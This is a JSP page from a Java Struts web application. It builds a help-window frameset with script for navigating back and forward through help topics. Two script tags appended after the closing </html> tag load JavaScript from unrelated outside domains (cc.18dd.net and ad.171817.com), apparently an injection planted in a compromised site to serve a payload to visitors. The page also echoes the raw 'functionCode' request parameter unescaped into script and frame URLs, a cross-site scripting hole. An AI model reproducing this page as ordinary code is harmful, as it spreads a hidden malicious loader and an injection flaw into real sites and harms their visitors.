<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%
  String functionCode = request.getParameter("functionCode") == null ? "" : ("null".equals(request.getParameter("functionCode")) ? "" : request.getParameter("functionCode"));
%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<html>
<head>
<title><bean:message key='common.label.help'/></title>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>

<%
/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/04/26
 *	Bug						#3674
 */
%>
<script language="Javascript">
<!--
var functionCode = "<%=functionCode%>";
<%if (sessionContainer.getUserRecordID() == null) {%>
window.close();
<%}%>

var historyFunctionCodeList = [];
var historyChildFunctionCodeList = [];
//var nowFunctionCode = "";
//var nowChildFunctionCode = "";
var historyStatus = "";
var historyOffset=0;
var now=0;

function changeTitle(maintitle,childTitle){
	//if (helpContent.title!=null)
		document.title=maintitle+"->"+childTitle+" Help";
}

function saveHistory(functionCode,childFunctionCode){
	historyFunctionCodeList[historyOffset] = functionCode;
	historyChildFunctionCodeList[historyOffset] = childFunctionCode;
	now = historyOffset;
	historyOffset++;
	historyFunctionCodeList.length = historyOffset;
	historyChildFunctionCodeList.length = historyOffset;
}

function changeIcon(){
	if (now==0){
		helpHeader.changeIconPreviousDisabled();
	}else {
		helpHeader.changeIconPrevious();
	}
	if (now==historyOffset-1){
		helpHeader.changeIconNextDisabled();
	} else {
		helpHeader.changeIconNext();
	}
}

function tback(){
	historyStatus = "back";
	var url="HelpContent.jsp?functionCode=";
	now--;
	if (now<=0){
		now = 0;
	}
	changeIcon();
	if (now>=0){
		url+=historyFunctionCodeList[now];
		url+="&childFunctionCode=";
		url+=historyChildFunctionCodeList[now];
		helpContent.location.href = url;
		changeTitle(historyFunctionCodeList[now],historyChildFunctionCodeList[now]);
	}
}

function tforward(){
	historyStatus = "forward";
	var url="HelpContent.jsp?functionCode=";
	now++;
	if (now>=historyOffset){
		now = historyOffset-1;
	}
	changeIcon();
	if (now<historyOffset){
		url+=historyFunctionCodeList[now];
		url+="&childFunctionCode=";
		url+=historyChildFunctionCodeList[now];
		helpContent.location.href = url;
		changeTitle(historyFunctionCodeList[now],historyChildFunctionCodeList[now]);
	}
}

//-->
</script>
<%
/*
 *	Update Code End
 */
%>
</head>
<%if (sessionContainer.getUserRecordID() != null) {%>
<frameset rows="31,469" frameborder="0">
	<frame src="HelpHeader.jsp?functionCode=<%=functionCode%>" id="helpHeader" name="helpHeader" scrolling="no" marginwidth="0" marginheight="0" border="0" noresize>
  <frameset id="helpMainContent" name="helpMainContent" cols="30%,70%" frameborder="1">
	  <frame src="HelpIndex.jsp?functionCode=<%=functionCode%>" id="helpIndex" name="helpIndex" scrolling="auto" marginwidth="0" marginheight="0" border="0">
	  <frame src="HelpContent.jsp?functionCode=<%=functionCode%>" id="helpContent" name="helpContent" scrolling="auto" marginwidth="0" marginheight="0" border="0">
	</frameset>
</frameset><noframes></noframes>
<%}%>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>